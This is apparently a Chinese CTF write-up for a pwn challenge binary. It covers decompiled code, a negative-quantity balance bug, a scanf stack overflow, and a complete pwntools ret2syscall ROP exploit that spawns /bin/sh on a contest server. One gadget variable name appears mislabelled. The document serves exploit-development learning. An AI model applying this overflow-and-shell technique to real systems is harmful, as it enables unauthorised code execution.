题面
给了一个二进制文件。
分析
file 查看是静态链接

静态链接因为程序代码量大,会有更多 gadget。
分析程序发现是一个管理系统:
1
2
3
4
5
6
7
|
欢迎来到大金烧烤摊儿,来点啥?
1. 啤酒
2. 烤串
3. 钱包余额
4. 承包摊位
5. 离开
>
|
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
welcome(argc, argv, envp);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
pijiu();
break;
case 2u:
chuan();
break;
case 3u:
yue();
break;
case 4u:
vip();
break;
case 5u:
if ( own )
gaiming();
break;
default:
printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6);
exit(0);
}
}
}
|
查看各个子函数:
pijiu 和 chuan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF
v10 = 1;
v9 = 1;
puts(&unk_4B70B6);
puts(&unk_4B70C6);
puts(&unk_4B70D2);
_isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v10, v0, v1, v2, v3);
puts(&unk_4B70E2);
_isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v9, v4, v5, v6, v7);
if ( 10 * v9 >= money )
puts(&unk_4B70EF);
else
money += -10 * v9;
puts(&unk_4B7105);
return 0;
}
__int64 chuan()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF
v10 = 1;
v9 = 1;
puts(&unk_4B7115);
puts(&unk_4B7122);
puts(&unk_4B712F);
_isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v10, v0, v1, v2, v3);
puts(&unk_4B713C);
_isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v9, v4, v5, v6, v7);
if ( 5 * v9 >= money )
puts(&unk_4B70EF);
else
money -= 5 * v9;
return 0;
}
|
两者代码差不多,差别就在价格上。这边 v9 是个 int 类型,其中这里扣钱没有做负数检测,如果用负数可以增加金额。
yue() 钱包余额
1
2
3
4
5
|
__int64 __fastcall yue(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6)
{
printf((unsigned int)&unk_4B7150, money, a3, a4, a5, a6);
return 0;
}
|
输出钱包余额。
vip 承包摊位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
__int64 vip()
{
puts(&unk_4B7180);
if ( money <= 100000 )
{
puts(&unk_4B71A9);
}
else
{
money -= 100000;
own = 1;
puts(&unk_4B71A2);
}
return 0;
}
|
需要大量的钱,然后将 own 置一。
gaiming 改名
1
2
3
4
5
6
7
8
9
10
11
12
13
|
__int64 gaiming()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
_BYTE v5[32]; // [rsp+0h] [rbp-20h] BYREF
puts(&unk_4B71C0);
_isoc99_scanf((unsigned int)&unk_4B71EB, (unsigned int)v5, v0, v1, v2, v3);
j_strcpy_ifunc(&name, v5);
return 0;
}
|
改名函数,这里 scanf 可以无限写入数据,而且没有 canary。可以做栈溢出。
这里把名字复制到 name ,name 是 data 段数据,地址固定。
利用
利用前面的负数漏洞可以得到大量的钱,直接承包店铺:
1
2
3
4
5
|
io.recvuntil(b">")
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"-10000000")
io.sendline(b"4")
|
之后通过改名栈溢出:
本题没有 system 函数,但是 rop 链多,可以用 ret2syscall。
通过构建 execve("/bin/sh", 0, 0); 就可以拿到 shell。
通过 ROPgadget 获得需要的 ROP 最后得到:
1
2
3
4
5
6
|
pop_rax_ret_addr = 0x458827
pop_rdi_ret_addr = 0x40264F
pop_rsi_ret_addr = 0x40A67E
pop_rdi_rbx_ret_addr = 0x4A404B
syscall_addr = 0x402404
name_addr = 0x4E60F0
|
/bin/sh 写在 name 上就好了。跟着栈溢出一起。
得到 payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
shell = b"/bin/sh\x00"
payload = (
shell
+ b"a" * (0x20 + 0x8 - len(shell))
+ p64(pop_rax_ret_addr)
+ p64(59)
+ p64(pop_rdi_ret_addr)
+ p64(name_addr)
+ p64(pop_rsi_ret_addr)
+ p64(0)
+ p64(pop_rdi_rbx_ret_addr)
+ p64(0)
+ p64(0)
+ p64(syscall_addr)
)
io.sendline(payload)
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from pwn import *
# io = process("./shaokao")
io = remote("node4.anna.nssctf.cn", 29482)
pop_rax_ret_addr = 0x458827
pop_rdi_ret_addr = 0x40264F
pop_rsi_ret_addr = 0x40A67E
pop_rdi_rbx_ret_addr = 0x4A404B
syscall_addr = 0x402404
name_addr = 0x4E60F0
io.recvuntil(b">")
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"-10000000")
io.sendline(b"4")
io.sendline(b"5")
shell = b"/bin/sh\x00"
payload = (
shell
+ b"a" * (0x20 + 0x8 - len(shell))
+ p64(pop_rax_ret_addr)
+ p64(59)
+ p64(pop_rdi_ret_addr)
+ p64(name_addr)
+ p64(pop_rsi_ret_addr)
+ p64(0)
+ p64(pop_rdi_rbx_ret_addr)
+ p64(0)
+ p64(0)
+ p64(syscall_addr)
)
io.sendline(payload)
io.interactive()
|